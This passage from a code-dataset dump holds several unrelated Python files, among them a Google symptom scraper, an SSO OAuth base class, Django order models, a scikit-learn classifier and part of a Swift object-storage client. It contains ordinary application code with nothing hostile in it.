    '\n\n}\n\ndef listToString(s): \n \n # initialize an empty string \n str1 = \" \" \n \n # return string \n return (str1.join(s)) \n\ndef google(q):\n s = requests.Session()\n q = '+'.join(q.split())\n url = 'https://www.google.com/search?q=' + q + '&ie=utf-8&oe=utf-8'\n r = s.get(url, headers=headers_Get)\n return r.text\n\ndef get_string_after_tag(string, tag, regex, distance):\n if(tag not in string):\n return None\n\n index = string.find(tag) \n substr = string[index:index+distance]\n if re.search(regex,substr):\n print(re.search(regex,substr).group(1))\n return re.search(regex,substr).group(1)\n else:\n return None\n\ndef get_details(query1):\n \n query=listToString(query1)\n html_results = google(query)\n has_knowledge_panel = html_tags['knowledge_panel'] in html_results\n print(has_knowledge_panel)\n if(has_knowledge_panel)==True:\n results={}\n results = {'name':query}\n\n results['desc'] = get_string_after_tag(html_results, html_tags['name'],html_regexes['name'],300)\n\n causes = get_string_after_tag(html_results, html_tags['Common causes of this symptom'],html_regexes['Common causes of this symptom'],800) #280\n if(causes==None):\n results['causes'] = str(\"\")\n else:\n results['causes']= str(causes)\n\n treatment1 = get_string_after_tag(html_results, html_tags['Self-treatment'],html_regexes['Self-treatment'],1000)\n treatment2 = get_string_after_tag(html_results, html_tags['Self-treatment'],html_regexes['Self-treatment1'],1000)\n clean = re.compile('<.*?>')\n treatment2=re.sub(clean,'', str(treatment2))\n if(treatment2==str(None)):\n results['treatment'] = str(treatment1) \n elif(treatment1==str(None)):\n results['treatment'] = str(treatment2)\n else:\n results['treatment'] = str(treatment1) + str(treatment2)\n\n print(results)\n return results\n\n else:\n raise Exception(\" Sorry couldn't find the data for the given symptom. \")\n \n \n\n# def get_detailsdisease(query):\n# results={}\n# html_results = google(query)\n# has_knowledge_panel = html_tags['knowledge_panel1'] in html_results\n\n# if(has_knowledge_panel)==True:\n# results['exists'] = True\n# results['name'] = get_string_after_tag(html_results, html_tags['disease'],html_regexes['named'],300)\n\n# causes1 = get_string_after_tag(html_results, html_tags['overview'],html_regexes['overview'],1000) #280\n# causes2 = get_string_after_tag(html_results, html_tags['overview'],html_regexes['overview1'],1000) #280\n# clean = re.compile('<.*?>') \n# causes2=re.sub(clean, '', str(causes2))\n# if (causes1==str(None)):\n# results['desc'] = str(causes2)\n# elif(causes2==str(None)):\n# results['desc'] = str(causes1) \n# else:\n# results['desc'] = str(causes1) + str(causes2)\n\n# print(\"++++++\")\n# symptoms = get_string_after_tag(html_results, html_tags['symptoms'],html_regexes['symptoms'],20000)\n# #symptoms2 = get_string_after_tag(html_results, html_tags['symptoms'],html_regexes['symptoms1'],1000)\n# # clean = re.compile('<.*?>')\n# # causes1=re.sub(clean, '', str(causes1))\n# print(\"---------\",symptoms)\n# if(symptoms):\n# results['symptoms'] = symptoms\n\n# # print(\"++++++\")\n# # treatment = get_string_after_tag(html_results, html_tags['treatment'],html_regexes['treatment'],20000)\n# # print(\"_________\",treatment)\n# # if(treatment):\n# # results['treatment'] = treatment\n\n# else:\n# results['exists'] = False\n# results['reply']= \" Sorry couldn't find the data for the given disease. \"\n \n# print(results)\n# return results\n\n# if __name__ == \"__main__\":\n# pass\n #get_details('diarrhea')\n #get_detailsdisease('alzheimer')\n","sub_path":"chatbot/modules/scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"356292679","text":"#!/usr/bin/env python\nfrom distutils.core import setup\ntry:\n from distutils.command.build_py import build_py_2to3 as build_py\nexcept ImportError:\n from distutils.command.build_py import build_py\n\nclassifiers = ['Development Status :: 3 - Alpha',\n 'Operating System :: OS Independent',\n 'License :: OSI Approved :: MIT License',\n 'Intended Audience :: Developers',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Topic :: Software Development',\n 'Topic :: Internet :: WWW/HTTP :: WSGI']\n\nsetup(name = 'AuthRPC',\n version = '0.3.2a',\n packages = ['AuthRPC', 'AuthRPC.server', 'AuthRPC.client'],\n install_requires = 'WebOb>=1.2.3',\n author = 'Ben Croston',\n author_email = 'ben@croston.org',\n description = 'A JSONRPC-like client and server with additions to enable authenticated requests',\n long_description = open('README.txt').read() + open('CHANGELOG.txt').read(),\n license = 'MIT',\n keywords = 'json, rpc, wsgi, auth',\n url = 'http://www.wyre-it.co.uk/authrpc/',\n classifiers = classifiers,\n platforms = ['Any'],\n cmdclass = {'build_py': build_py})\n","sub_path":"pypi_install_script/AuthRPC-0.3.2a.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"299033908","text":"\"\"\"SSO login base dependency\n\"\"\"\n# pylint: disable=too-few-public-methods\n\nimport json\n\nfrom typing import Dict, List, Optional\nfrom uuid import uuid4\nimport aiohttp\nfrom oauthlib.oauth2 import WebApplicationClient\nfrom starlette.exceptions import HTTPException\nfrom starlette.requests import Request\nfrom starlette.responses import RedirectResponse\nimport pydantic\n\n\nclass SSOLoginError(HTTPException):\n \"\"\"Raised when any login-related error ocurrs\n (such as when user is not verified or if there was an attempt for fake login)\n \"\"\"\n\n\nclass OpenID(pydantic.BaseModel): # pylint: disable=no-member\n \"\"\"Class (schema) to represent information got from sso provider in a common form.\"\"\"\n\n id: Optional[str]\n email: Optional[str]\n first_name: Optional[str]\n last_name: Optional[str]\n display_name: Optional[str]\n picture: Optional[str]\n provider: Optional[str]\n\n\nclass SSOBase:\n \"\"\"Base class (mixin) for all SSO providers\"\"\"\n\n provider = NotImplemented\n client_id: str = NotImplemented\n client_secret: str = NotImplemented\n redirect_uri: str = NotImplemented\n scope: List[str] = NotImplemented\n _oauth_client: Optional[WebApplicationClient] = None\n state: Optional[str] = None\n\n def __init__(self, client_id: str, client_secret: str, redirect_uri: str):\n self.client_id = client_id\n self.client_secret = client_secret\n self.redirect_uri = redirect_uri\n\n @property\n def oauth_client(self) -> WebApplicationClient:\n \"\"\"OAuth Client to help us generate requests and parse responses\"\"\"\n if self.client_id == NotImplemented:\n raise NotImplementedError(f\"Provider {self.provider} not supported\")\n if self._oauth_client is None:\n self._oauth_client = WebApplicationClient(self.client_id)\n return self._oauth_client\n\n @property\n def access_token(self) -> Optional[str]:\n \"\"\"Access token from token endpoint\"\"\"\n return self._oauth_client.access_token\n\n @classmethod\n async def openid_from_response(cls, response: dict) -> OpenID:\n \"\"\"Return {OpenID} object from provider's user info endpoint response\"\"\"\n raise NotImplementedError(f\"Provider {cls.provider} not supported\")\n\n @classmethod\n async def get_discovery_document(cls) -> Dict[str, str]:\n \"\"\"Get discovery document containing handy urls\"\"\"\n raise NotImplementedError(f\"Provider {cls.provider} not supported\")\n\n @property\n async def authorization_endpoint(self) -> Optional[str]:\n \"\"\"Return `authorization_endpoint` from discovery document\"\"\"\n discovery = await self.get_discovery_document()\n return discovery.get(\"authorization_endpoint\")\n\n @property\n async def token_endpoint(self) -> Optional[str]:\n \"\"\"Return `token_endpoint` from discovery document\"\"\"\n discovery = await self.get_discovery_document()\n return discovery.get(\"token_endpoint\")\n\n @property\n async def userinfo_endpoint(self) -> Optional[str]:\n \"\"\"Return `userinfo_endpoint` from discovery document\"\"\"\n discovery = await self.get_discovery_document()\n return discovery.get(\"userinfo_endpoint\")\n\n async def get_login_url(self) -> str:\n \"\"\"Return prepared login url. This is low-level, see {get_login_redirect} instead.\"\"\"\n self.state = str(uuid4())\n request_uri = self.oauth_client.prepare_request_uri(\n await self.authorization_endpoint, redirect_uri=self.redirect_uri, state=self.state, scope=self.scope\n )\n return request_uri\n\n async def get_login_redirect(self) -> RedirectResponse:\n \"\"\"Return redirect response by Stalette to login page of Oauth SSO provider\n\n Returns:\n RedirectResponse -- Starlette response (may directly be returned from FastAPI)\n \"\"\"\n login_uri = await self.get_login_url()\n response = RedirectResponse(login_uri, 303)\n if self.state is not None:\n response.set_cookie(\"ssostate\", self.state, expires=600)\n return response\n\n async def verify_and_process(self, request: Request) -> Optional[OpenID]:\n \"\"\"Get FastAPI (Starlette) Request object and process login.\n This handler should be used for your /callback path.\n\n Arguments:\n request {Request} -- FastAPI request object (or Starlette)\n\n Returns:\n Optional[OpenID] -- OpenID if the login was successfull\n \"\"\"\n code = request.query_params.get(\"code\")\n if code is None:\n raise SSOLoginError(400, \"'code' parameter was not found in callback request\")\n if self.state is not None:\n ssostate = request.cookies.get(\"ssostate\")\n if ssostate is None or ssostate != self.state:\n raise SSOLoginError(\n 401,\n \"'state' parameter in callback request does not match our internal 'state', \"\n \"someone may be trying to do something bad.\",\n )\n return await self.process_login(code, request)\n\n async def process_login(self, code: str, request: Request) -> Optional[OpenID]:\n \"\"\"This method should be called from callback endpoint to verify the user and request user info endpoint.\n This is low level, you should use {verify_and_process} instead.\n \"\"\"\n url = request.url\n current_url = str(url).replace(\"http://\", \"https://\")\n current_path = f\"https://{url.netloc}{url.path}\"\n\n token_url, headers, body = self.oauth_client.prepare_token_request(\n await self.token_endpoint, authorization_response=current_url, redirect_url=current_path, code=code\n ) # type: ignore\n\n if token_url is None:\n return None\n\n auth = aiohttp.BasicAuth(self.client_id, self.client_secret)\n async with aiohttp.ClientSession() as session:\n async with session.post(token_url, headers=headers, data=body, auth=auth) as response:\n content = await response.json()\n self.oauth_client.parse_request_body_response(json.dumps(content))\n\n uri, headers, body = self.oauth_client.add_token(await self.userinfo_endpoint)\n async with session.get(uri, headers=headers, data=body) as response:\n content = await response.json()\n\n return await self.openid_from_response(content)\n","sub_path":"fastapi_sso/sso/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"203676992","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 12 11:07:24 2020\r\n\r\n@author: Moises New\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.impute import SimpleImputer\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.metrics import confusion_matrix\r\n\r\n#leemos el dataset\r\ndf = pd.read_csv(\"preg3.csv\")\r\nn = len(df.index)\r\n\r\n#obtencion de 'y' y tranformamos a 0 para + y 1 para -\r\nle = LabelEncoder()\r\ny = df.iloc[:, -1].values\r\ny=le.fit_transform(y)\r\n\r\n#como hay datos perdidos y distintos tipos \r\n#convertimos a tipo numero las 2 columnas A2 y A14 q los reconoce como object\r\ndf[\"A2\"] = pd.to_numeric(df[\"A2\"], errors='coerce')\r\ndf[\"A14\"] = pd.to_numeric(df[\"A14\"], errors='coerce')\r\n\r\n#separamos las columnas numericas y de objetos en dos datas diferentes\r\n#para que la imputacion sea mas facil de realizar\r\ndataNum = df[[\"A2\",\"A3\",\"A8\",\"A11\",\"A14\",\"A15\"]]\r\ndataObj = df[[\"A1\",\"A4\",\"A5\",\"A6\",\"A7\",\"A9\",\"A10\",\"A12\",\"A13\"]]\r\n\r\n#imputamos los datos nan en el df numerico con la media\r\nimputacionN = SimpleImputer(missing_values=np.nan,strategy=\"mean\")\r\ndataNumImp = imputacionN.fit_transform(dataNum)\r\n\r\n#imputamos los datos '?' en el df de objetos con el mas frecuente\r\nimputacionO = SimpleImputer(missing_values=\"?\",strategy=\"most_frequent\")\r\ndataObjImp = imputacionO.fit_transform(dataObj)\r\n\r\n#armamos un nuevo dataset solo para X con los datos ya imputados\r\nX_data={\r\n \"A1\": dataObjImp[:,0], \"A2\": dataNumImp[:,0], \"A3\": dataNumImp[:,1],\r\n \"A4\": dataObjImp[:,1], \"A5\": dataObjImp[:,2], \"A6\": dataObjImp[:,3],\r\n \"A7\": dataObjImp[:,4], \"A8\": dataNumImp[:,2], \"A9\": dataObjImp[:,5],\r\n \"A10\": dataObjImp[:,6], \"A11\": dataNumImp[:,3],\"A12\": dataObjImp[:,7],\r\n \"A13\": dataObjImp[:,8], \"A14\": dataNumImp[:,4],\"A15\": dataNumImp[:,5]\r\n }\r\ndata = pd.DataFrame(X_data)\r\n\r\n#ahora cambiamos los valores de las letras por valores numericos\r\n#secuenciales de 0 para adelante dependiendo de las cantidad de variable en cada columna\r\ndata[\"A1\"] = data[\"A1\"].replace({\"a\": 0, \"b\": 1})\r\ndata[\"A4\"] = data[\"A4\"].replace({\"u\": 0, \"y\": 1, \"l\": 2, \"t\": 3})\r\ndata[\"A5\"] = data[\"A5\"].replace({\"g\": 0, \"p\": 1, \"gg\": 2})\r\ndata[\"A6\"] = data[\"A6\"].replace({\"c\": 0, \"d\": 1, \"cc\": 2, \"i\": 3, \"j\": 4,\"k\": 5, \"m\": 6, \"r\": 7, \"q\": 8, \"w\": 9, \"x\": 10, \"e\": 11, \"aa\": 12, \"ff\": 13})\r\ndata[\"A7\"] = data[\"A7\"].replace({\"v\": 0, \"h\": 1, \"bb\": 2, \"j\": 3, \"n\": 4,\"z\": 5, \"dd\": 6, \"ff\": 7, \"o\": 8})\r\ndata[\"A9\"] = data[\"A9\"].replace({\"f\": 0, \"t\": 1})\r\ndata[\"A10\"] = data[\"A10\"].replace({\"f\": 0, \"t\": 1})\r\ndata[\"A12\"] = data[\"A12\"].replace({\"f\": 0, \"t\": 1})\r\ndata[\"A13\"] = data[\"A13\"].replace({\"g\": 0, \"p\": 1, \"s\": 2})\r\n\r\n#ahora lo pasamos a X como una matriz\r\nX = np.array(data[[\"A1\",\"A2\",\"A3\",\"A4\",\"A5\",\"A6\",\"A7\",\"A8\",\"A9\",\"A10\",\"A11\",\r\n \"A12\",\"A13\",\"A14\",\"A15\"]])\r\n\r\n#teniendo X y Y entonces separamos en 80% para aprendizaje y 20% para testeo\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\r\n\r\n#procedemos a entranar a la red neuronal con X_train, y_train\r\nclasificador = MLPClassifier(tol=1e-2)\r\nclasificador.fit(X_train, y_train)\r\n\r\n#predecimos al 20% \r\ny_pred = clasificador.predict(X_test)\r\nprint(\"Prediccion del 20% del dataset\")\r\nprint(y_pred)\r\n\r\n#armamos la matriz de confucion \r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(\"Matriz de confusion\")\r\nprint(cm)\r\n","sub_path":"Pregunta3/Pregunta_3.py","file_name":"Pregunta_3.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"242222582","text":"#!/bin/env python3\n# -*- coding: utf-8 -*-\n# TOMUSS: The Online Multi User Simple Spreadsheet\n# Copyright (C) 2009-2013 Thierry EXCOFFIER, Universite Claude Bernard\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n# Contact: Thierry.EXCOFFIER@bat710.univ-lyon1.fr\n\nfrom .. import plugin\nfrom .. import document\nfrom ..column import TableAttr\n\nclass TableDelete(TableAttr):\n default_value = 1\n name = 'table_delete'\n action = 'table_delete'\n gui_display = \"GUI_a\"\n\ndef delete_this_table(server):\n \"\"\"Delete the table.\"\"\"\n table = document.table(server.the_year, server.the_semester,\n server.the_ue, None, None)\n if not table.modifiable:\n server.the_file.write(server._(\"MSG_delete_this_table_unmodifiable\"))\n return\n if server.ticket.user_name not in table.masters:\n server.the_file.write(server._(\"MSG_extension_not_master\"))\n return\n\n## Uncomment these lines in order to remove deleted tables from favorites.\n## d = utilities.manage_key('LOGINS',\n## os.path.join(server.ticket.user_name, 'pages')\n## )\n## if d:\n## d = eval(d)\n## if server.the_ue in d:\n## del d[server.the_ue]\n## utilities.manage_key('LOGINS',\n## os.path.join(server.ticket.user_name,\n## 'pages'),\n## content = repr(d)\n## )\n table.delete()\n server.the_file.write(server._(\"MSG_delete_this_table_done\"))\n \n\nplugin.Plugin('delete_this_table', '/{Y}/{S}/{U}/delete_this_table',\n group='staff',\n function=delete_this_table,\n )\n\n","sub_path":"ATTRIBUTES/tabledelete.py","file_name":"tabledelete.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"358071233","text":"import tensorflow as tf\n\ndef accuracy_metric(prediction, label, is_one_hot=False):\n \"\"\"Calculates classification accuracy.\n\n Parameters\n ----------\n prediction : tf.Tensor, shape (B, n_classes)\n label : tf.Tensor\n If `is_one_hot` is True, shape (B, n_classes)\n Otherwise, shape (B,)\n is_one_hot : bool\n Whether `label` is in one_hot vector format.\n\n Returns\n -------\n is_correct : tf.Tensor, shape (B,)\n\n \"\"\"\n if is_one_hot:\n label = tf.argmax(label, axis=-1)\n\n label = tf.cast(label, tf.int32)\n pred = tf.cast(tf.argmax(prediction, axis=-1), tf.int32)\n\n return tf.cast(tf.math.equal(label, pred), tf.float32)\n","sub_path":"networks/classification/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"335738801","text":"#O'ylangan sonni hohlagancha imkoniyatda topuvchi dastur\nson=23\nyugur=True\nwhile yugur :\n taxmin=int(input(\"Butun son kiriting:\"))\n if taxmin==son :\n print(\"Tabriklaymiz siz topdingiz \")\n yugur=False\n elif taxmin < son:\n print(\"Yoq,o'ylangan son kiritilgan sondan kattaroq \")\n else:\n print(\"Yoq o'ylangan son kiritilgan sondan kichikroq \")\nelse :\n print(\"while sikli tugadi .\")\n print(\"tamom\")\n","sub_path":"Sodda dasturlar/O'ylangan sonni hohlagancha imkoniyatda topuvchi dastur.py","file_name":"O'ylangan sonni hohlagancha imkoniyatda topuvchi dastur.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"303664835","text":"# -*- coding: utf-8 -*-\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC, expected_conditions\nfrom selenium.webdriver.common.by import By\n\n\nclass NavigationHelper:\n def __init__(self, app):\n self.app = app\n\n def open_home_page(self):\n wd = self.app.wd\n wd.maximize_window()\n wd.get(\"https://imgbb.com/\")\n\n def open_albums_page(self):\n wd = self.app.wd\n wait = WebDriverWait(wd, 10)\n if not wd.current_url.endswith(\"/albums\"):\n self.app.menu.user_menu(\"Albums\")\n wait.until(EC.url_contains(\"/albums\"))\n\n def open_albums(self):\n wd = self.app.wd\n wait = WebDriverWait(wd, 10)\n if not wd.current_url.endswith(\"/albums\"):\n link_albums = wd.find_element_by_xpath(\"//a[contains(@class, 'number-figures') \"\n \"and contains(@href, 'albums')]\")\n link_albums.click()\n wait.until(EC.url_contains(\"/albums\"))\n\n def profile_page(self):\n wd = self.app.wd\n wait = WebDriverWait(wd, 5)\n profile_link = wd.find_element_by_css_selector(\".text-align-right .number-figures:first-child\")\n wait.until(EC.url_to_be(profile_link.get_attribute(\"href\")))\n\n def open_profile_link(self):\n wd = self.app.wd\n wait = WebDriverWait(wd, 5)\n\n profile_link = wd.find_element_by_css_selector(\".text-align-right .number-figures:first-child\")\n if wd.current_url != profile_link.get_attribute(\"href\"):\n link_menu = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, \"#top-bar-user\")))\n link_menu.click()\n\n profile = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, \".pop-box-inner.pop-box-menu a\"\n \"[href='{}']\"\n .format(profile_link.get_attribute(\"href\")))))\n profile.click()\n self.profile_page()\n\n def open_images(self):\n wd = self.app.wd\n link = wd.find_element_by_css_selector(\".text-align-right .number-figures:first-child\")\n if wd.current_url != link.get_attribute(\"href\"):\n link_images = wd.find_element_by_xpath(\"//a[@class='number-figures']/span[@data-text='image-label']\")\n link_images.click()\n self.profile_page()\n","sub_path":"fixture/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"242064706","text":"import sys\n\ndef numFlips(S, K):\n '''returns the number of iterations or -1 '''\n S = str(S)\n iterations = 0\n for i in range(len(S)- K + 1):\n if S[i] == '-':\n #make a numFlips\n iterations += 1\n S = S[:i] + S[i:i+K].replace('+', '*').replace('-', '+').replace('*', '-') + S[i+K:]\n\n if '-' in S:\n return -1\n else:\n return iterations\n\ndef numFlips2(S, K, index = 0, it = 0):\n '''returns the number of iterations or -1 '''\n \n if '-' not in S:\n return it\n elif index + K > len(S):\n return -1\n else:\n #do the flip at index\n T = S[:index] + S[index:index+K].replace('+', '*').replace('-', '+').replace('*', '-') + S[index+K:]\n \n num1 = numFlips2(S, K, index+1, it)\n num2 = numFlips2(T, K, index+1, it+1)\n \n if num1*num2 >= 0 and (num1, num2) != (-1, -1):\n return it + min(num1, num2)\n else:\n return max(num1, num2)\n \n \n \n\nf = open(sys.argv[1])\nT = int(f.readline())\n\nfor i in range(T):\n S, K = f.readline().strip().split()\n K = int(K)\n result = numFlips(S, K)\n\n if result > -1:\n print(\"Case #{0}: {1}\".format(i+1, result))\n else:\n print(\"Case #{0}: IMPOSSIBLE\".format(i+1))\n\nf.close()\n","sub_path":"solutions_python/Problem_199/1955.py","file_name":"1955.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"291784458","text":"from django.db import models\nfrom carts.models import Cart\nfrom ecsite.utils import unique_order_id_generator\nfrom django.db.models.signals import pre_save,post_save\nfrom math import fsum\nfrom billing.models import BillingProfile\n\nORDER_STATUS_CHOICES = (\n\n('created','Created'),\n('paid','Paid'),\n('shipped','Shipped'),\n('refunded','Refunded')\n\n)\n\n\n# Create your models here.\n\n# Order model is a part of checkout process\n# after cart a order will be prepared with additional detials\n# such as status , shipping total etc.\n\n\nclass Order(models.Model):\n billing_profile = models.ForeignKey(BillingProfile,on_delete=models.CASCADE,null=True,blank = True)\n # shipping adress\n # billing adress\n order_id = models.CharField(max_length=120,blank=True) # Should be random and unique\n cart = models.ForeignKey(Cart,on_delete=models.CASCADE)\n status = models.CharField(max_length=120,choices = ORDER_STATUS_CHOICES,default='created')\n shipping_total = models.DecimalField(default=100,max_digits=10,decimal_places=2)\n total = models.DecimalField(default=100,max_digits=10,decimal_places=2)\n acitve = models.BooleanField(default=True)\n\n def __str__(self):\n return self.order_id\n\n def update_total(self):\n cart_total = self.cart.total\n shipping_total = self.shipping_total\n self.total = format(fsum([cart_total,shipping_total]),'.2f')\n self.save()\n return self.total\n\n\n# generate order_id\n# generate the order total\n\n# generate unique order id for the order it already doesn't\n# exists\ndef before_saving_order(sender,instance,*args,**kwargs):\n if not instance.order_id:\n instance.order_id = unique_order_id_generator(instance)\n\npre_save.connect(before_saving_order,sender=Order)\n\n\n# After the cart is saved the total for the order is calculated from it\n# The reason why this signal reside here is due to the\n# circular import call problem\n# i.e - in Cart.model --> import Order and in Orders.model import Cart\n\n\n# The total for the order is updated at two places\n # 1- When there is some change in the cart so after the cart is saved\n # 2- After the order is saved\ndef after_cart_saved(sender,instance,created,*args,**kwargs):\n # Grab the Cart instance which is saved if it is not created\n if not created:\n cart_obj = instance\n cart_id = cart_obj.id\n # Grab the order associated with the cart if any\n qs = Order.objects.filter(cart__id = cart_id)\n if qs.count() == 1:\n order_obj = qs.first()\n # update the total of order object as per updated cart\n order_obj.update_total()\n\npost_save.connect(after_cart_saved,sender = Cart)\n\ndef after_order_saved(sender,instance,created,*args,**kwargs):\n if created:\n instance.update_total()\n\npost_save.connect(after_order_saved,sender = Order)\n","sub_path":"orders/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"375685598","text":"import sys\r\nimport traceback\r\nimport pathlib\r\n# import logging\r\n# LogModule = logging.getLogger(__name__)\r\n\r\n_log_file= \"/LogModule\"\r\nclass ErrorTest():\r\n def __init__(self):\r\n pass\r\n\r\n def raise_error(self):\r\n try:\r\n raise AttributeError\r\n except Exception as e:\r\n # type_, value, traceback_ = sys.exc_info()\r\n # print(traceback.format_exception(type_, value, traceback_))\r\n raise\r\n\r\n\r\n\r\nclass Main():\r\n\r\n def __init__(self):\r\n # logging.debug(\"DEBUG\")\r\n self.err= ErrorTest()\r\n\r\n def err_test(self):\r\n _log_file_path = pathlib.Path(_log_file) / \"LogModule.LogModule\"\r\n # _log_file_path = tmp / \"LogModule.LogModule\"\r\n try:\r\n self.err.raise_error()\r\n except AttributeError as e:\r\n\r\n type_, value, traceback_ = sys.exc_info()\r\n indata=str(traceback.format_exception(type_, value, traceback_))\r\n with open(_log_file_path, \"a\", encoding=\"utf-8\") as f:\r\n f.write(indata)\r\n # logging.exception(traceback.format_exception(type_, value, traceback_))\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n c = Main()\r\n c.err_test()\r\n","sub_path":"project01/industrysurvey/errortest.py","file_name":"errortest.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"408511258","text":"from bankShelf import BankShelf\n\nbankSystem = BankShelf()\n\n\ndef unfreezeAccount(username):\n unfreeze_result = bankSystem.update(username, 'frozen', False)\n reset_failed_login_result = bankSystem.update(username, 'failed_login', 0)\n if unfreeze_result and reset_failed_login_result:\n if unfreeze_result != \"Error!\" and reset_failed_login_result != \"Error\":\n message = \"Account successfully unfrozen.\"\n else:\n message = \"There was a problem with our system. Please try again later.\"\n else:\n message = \"Account does not exist.\"\n print(message)\n return message\n\n#unfreezeAccount(\"user2\")\n#unfreezeAccount(\"user1\")\n","sub_path":"unfreezeAccount.py","file_name":"unfreezeAccount.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"52339556","text":"\"\"\"\nCopyright 2013 Rackspace\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport hmac\nimport json\nimport tarfile\n\nfrom cloudcafe.common.tools import randomstring as randstring\nfrom cafe.engine.config import EngineConfig\nfrom cStringIO import StringIO\nfrom time import time, mktime\nfrom hashlib import sha1\nfrom datetime import datetime\nfrom cloudcafe.common.tools.md5hash import get_md5_hash\nfrom cafe.engine.clients.rest import RestClient\n\nBULK_ARCHIVE_NAME = 'bulk_objects'\n\n\nclass ObjectStorageAPIClient(RestClient):\n\n def __init__(self, storage_url, auth_token, base_container_name=None,\n base_object_name=None):\n super(ObjectStorageAPIClient, self).__init__()\n self.engine_config = EngineConfig()\n self.storage_url = storage_url\n self.auth_token = auth_token\n self.base_container_name = base_container_name or ''\n self.base_object_name = base_object_name or ''\n self.default_headers['X-Auth-Token'] = self.auth_token\n\n #Account-------------------------------------------------------------------\n\n def retrieve_account_metadata(self):\n response = self.head(self.storage_url)\n\n return response\n\n def list_containers(self, headers={}, params={}):\n \"\"\"\n Lists all containers for the account.\n\n If the 'format' variable is passed as part of the 'params'\n dictionary, an object representing the deserialized version of\n that format (either xml or json) will be appended to the response\n as the 'entity' attribute. (ie, response.entity)\n \"\"\"\n response = self.get(self.storage_url, headers=headers, params=params)\n\n return response\n\n #Container-----------------------------------------------------------------\n\n def get_container_metadata(self, container_name, headers={}):\n url = '{0}/{1}'.format(self.storage_url, container_name)\n\n response = self.head(url, headers=headers)\n\n return response\n\n def create_container(self, container_name, headers={}):\n url = '{0}/{1}'.format(self.storage_url, container_name)\n\n response = self.put(url, headers=headers)\n\n return response\n\n def delete_container(self, container_name, headers={}):\n url = '{0}/{1}'.format(self.storage_url, container_name)\n\n response = self.delete(url, headers=headers)\n\n return response\n\n def set_container_metadata(self, container_name, headers={}):\n url = '{0}/{1}'.format(self.storage_url, container_name)\n\n response = self.post(url, headers=headers)\n\n return response\n\n def get_container_options(self, container_name, headers={}):\n \"\"\"\n returns response from CORS option call\n \"\"\"\n url = '{0}/{1}'.format(self.storage_url, container_name)\n\n response = self.options(url, headers=headers)\n\n return response\n\n def list_objects(self, container_name, headers={}, params={}):\n \"\"\"\n Lists all objects in the specified container.\n\n If the 'format' variable is passed as part of the 'params'\n dictionary, an object representing the deserialized version of\n that format (either xml or json) will be appended to the response\n as the 'entity' attribute. (ie, response.entity)\n \"\"\"\n url = '{0}/{1}'.format(self.storage_url, container_name)\n\n response = self.get(url, headers=headers, params=params)\n\n return response\n\n def get_object_count(self, container_name):\n \"\"\"\n Returns the number of objects in a container.\n \"\"\"\n response = self.get_container_metadata(container_name)\n\n obj_count = int(response.headers.get('x-container-object-count'))\n\n return obj_count\n\n def _purge_container(self, container_name):\n params = {'format': 'json'}\n response = self.list_objects(container_name, params=params)\n try:\n json_data = json.loads(response.content)\n for entry in json_data:\n self.delete_object(container_name, entry['name'])\n except ValueError:\n pass\n\n 